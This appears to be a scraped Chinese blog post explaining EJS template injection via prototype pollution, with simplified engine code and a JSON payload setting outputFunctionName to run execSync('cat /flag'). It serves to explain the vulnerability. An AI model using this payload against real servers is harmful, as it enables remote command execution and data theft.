当前位置: 首页 > news >正文

EJS模板引擎注入漏洞

EJS引擎的大致工作流程是

当res.render(X)执行的时候,express会把.ejs文件全部读取,并且把模板内容(也就是ejs文件)、数据对象(程序员显式传入的变量)用户输入、全局设置全部交给EJS引擎。


然后EJS引擎会执行的一段代码内容是

var src = 'var out = "";\n';
src += '  var __line = 1;\n';
src += '  try {\n';if (opts.outputFunctionName) {src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}
if (opts.destructuredLocals) {src += '    var { ' + opts.destructuredLocals.join(', ') + ' } = locals;\n';
}
src += '    with (locals || {}) {\n';
src += '      out += "' + templateContent + '";\n'; 
src += '    }\n';
src += '    return out;\n';
src += '  } catch (err) {\n';
src += '    rethrow(err, __line);\n';
src += '  }\n';

关键部分
if (opts.outputFunctionName) {src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}

直接用 + 把opts.outputFunctionName给拼接。

如果程序员的后端代码是这样的,那么就不存在漏洞

const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.get('/hello', (req, res) => {res.render('index', {user: 'Tom',outputFunctionName: 'Node' });
});
app.listen(3000);

因为outputFunctionName的属性值已经被声明。最终拼接的是一段无害的代码。

EJS模板注入发生在程序员没有给outputFunctionName赋值,因为这对原型链的污染才有效果。


例如注入:

{"__proto__": {"__proto__": {"outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag').toString(); //"}}
}

那么在EJS引擎工作时,被 + 给拼接后会变成

src += var a; return global.process.mainModule.require('child_process').execSync('id').toString();// = escapeFn;

return global.process.mainModule.require('child_process').execSync('id').toString();直接独立成立一个语句,直接执行


简而言之

在程序员未设置outputFunctionName的情况下,通过原型链污染进行对outputFunctionName的赋值,在EJS引擎调用代码的时候会将outputFunctionName进行拼接,这就是EJS模板引擎注入漏洞

http://www.jsqmd.com/news/145353/

相关文章:

  • 基于java的SpringBoot/SSM+Vue+uniapp的医疗器械管理系统的详细设计和实现(源码+lw+部署文档+讲解等)
  • 基于关键场景辨别算法的两阶段鲁棒微网优化调度附Matlab代码
  • 家长最容易忽略的近视防控细节
  • 论文重复率超标?5个高效降重策略,快速通过审核
  • Java毕设项目:基于java的校园闲置物品交易平台设计与实现(源码+文档,讲解、调试运行,定制等)
  • Java毕设项目推荐-基于springboot的健康体检网络管理系统的设计与实现在线预约、体检流程管理、报告生成、健康档案【附源码+文档,调试定制服务】
  • 论文相似度超30%?5个专业技巧助你顺利降重
  • 【滤波跟踪】基于GPS卡尔曼滤波和最小二乘法实现汽车松耦合INS_GNSS传感器融合附matlab代码
  • 江西南昌一家IPO市场份额遭同行 反超,核心依赖与客户真实性成疑
  • 《创业之路》-759-用科研思维做生产 → 效率低下、无法交付;用生产标准管科研 → 抑制创新、扼杀突破;用研发模式搞交付 → 成本失控、客户流失。
  • Java毕设项目推荐-基于JAVA的无人机销售平台的设计与实现无人机销售、订单管理、售后维保【附源码+文档,调试定制服务】
  • Jenkins高危漏洞CVE-2024-23897:从任意文件读取到RCE攻击详解
  • Java毕设项目:基于Java的书店管理系统的设计与实现(源码+文档,讲解、调试运行,定制等)
  • 2025最新!10个AI论文平台测评:继续教育写作难题全解决
  • GEO优化发力,GEO优化破局,GEO优化稳居各行业推广首选宝座 - 源码云科技
  • 【毕业设计】基于JAVA的无人机销售平台的设计与实现(源码+文档+远程调试,全bao定制等)
  • 计算机Java毕设实战-基于Java+SpringBoot的星海书店管理系统的设计与实现基于Java的书店管理系统的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 基于储能电站服务的冷热电多微网系统双层优化配置附Matlab代码
  • ESP32声纹识别控制家电:手把手搭建你的“语音密码”智能家
  • 分布式事务管理
  • 【毕业设计】基于java的校园闲置物品交易平台设计与实现(源码+文档+远程调试,全bao定制等)
  • Java 基础-集合
  • 【路径规划】基于A_算法、Dijkstra算法、RRT算法实现机器人路径规划附matlab代码
  • Java毕设选题推荐:基于JAVA的无人机销售平台的设计与实现基于Java+SpringBoot的无人机销售平台的设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】
  • Java毕设选题推荐:基于java的校园闲置物品交易平台设计与实现基于java的大学生闲置物品交易平台设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 12月26日
  • 编程智能体Cline的核心架构
  • 05. 图像的运算
  • 【课程设计/毕业设计】基于Java+SpringBoot的无人机销售平台的设计与实现基于JAVA的无人机销售平台的设计与实现【附源码、数据库、万字文档】
  • Java毕设选题推荐:基于Java的书店管理系统的设计与实现基于java私人书店管理系统设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】